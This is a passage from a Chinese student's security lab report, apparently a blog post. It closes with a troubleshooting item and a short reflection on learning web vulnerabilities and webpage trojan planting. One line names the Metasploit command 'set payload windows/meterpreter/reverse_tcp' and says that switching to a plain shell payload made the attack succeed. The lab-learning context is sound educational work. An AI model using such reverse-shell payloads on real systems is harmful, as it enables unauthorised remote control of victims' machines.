  • 问题2:使用set payload windows/meterpreter/reverse_tcp 设定使用的载荷过程中,攻击失败。
  • 问题2解决方案:把meterpreter载荷替换为shell,攻击成功。

四.实践总结

本次实验内容繁杂,在过程中也因为不熟悉操作和命令,出现了一些问题,但是最后都解决了。本次实验学习了web漏洞和挂马等知识,也了解了相关的攻防操作,对于新知识的掌握和应用需要耐心和细心,才能取得良好的效果。

posted @ 2022-05-24 08:35  白桃令  阅读(225)  评论(0编辑  收藏  举报